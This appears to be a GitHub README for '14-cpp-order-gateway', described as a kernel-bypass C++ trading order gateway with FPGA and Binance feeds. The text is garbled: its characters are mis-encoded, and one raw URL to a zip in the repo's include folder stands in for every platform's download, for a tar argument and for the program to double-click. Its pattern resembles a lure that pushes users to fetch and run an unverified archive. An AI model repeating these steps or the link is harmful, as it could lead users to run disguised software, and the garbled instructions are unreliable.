The 14-cpp-order-gateway is a high-performance C++ application designed for trading systems. It leverages AF_XDP kernel bypass technology to deliver exceptional speed, making it 4Γ faster than standard UDP with a response time of just 0.05ΞΌs for P50 latency. This application supports dual-feed functionality from an FPGA binary and Binance via WebSocket JSON, making it a versatile choice for real-time trading.
- High Performance: Achieve low-latency communication thanks to kernel bypass technology.
- Dual Feed Support: Seamlessly connect to both FPGA (binary) and Binance (WebSocket JSON).
- Production Scale: Validated with over 563K samples for reliability.
- Easy Integration: Works well with modern C++ standards (C++20).
- Boost Asio Support: Reliable asynchronous I/O management for improved performance.
- Real-Time Data Handling: Efficiently process and respond to incoming trading data.
To use the 14-cpp-order-gateway, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, Linux (Ubuntu 20.04 or later).
- Processor: x86_64 or ARM64 compatible CPU.
- Memory: Minimum of 4 GB RAM (8 GB recommended).
- Storage: At least 100 MB of free disk space.
To download the application, click the button below:
On the releases page, find the latest version. The naming convention usually includes the version number (for example, v1.0.0).
Click on the asset that matches your system. For example:
- For Windows, you might see
https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zip - For Linux, look for
https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zip
Downloading these files will capture the complete application.
Once downloaded, locate the file in your Downloads folder.
- For
.zipfiles (Windows): Right-click the file, select "Extract All," and follow the prompts. - For
https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zipfiles (Linux): You can extract them by runningtar -xzf https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zipin your terminal.
After extraction, navigate to the folder containing the extracted files.
- For Windows: Double-click
https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zipto run the application. - For Linux: Open your terminal, navigate to the folder, and type
./14-cpp-order-gatewayto execute.
When the application runs for the first time, you may need to configure your trading settings. Follow the on-screen prompts to set up your trading preferences.
Now you're ready to trade. Ensure your connections (FPGA or Binance) are correctly set up to start receiving trading data in real-time.
For in-depth guidance and advanced configuration options, consult the official documentation available on GitHub. This documentation covers a range of topics, including:
- Advanced trading strategies
- Customizing performance settings
- Troubleshooting common issues
If you encounter any issues while using the application, feel free to open an issue on the GitHub repository. Provide as much detail as possible to receive assistance promptly.
If you wish to contribute to the project, your expertise is welcome. Please fork the repository and submit a pull request for any improvements or bug fixes.
Join our community on forums or social media for discussions about trading strategies and application features. Engage with other users and share your experiences.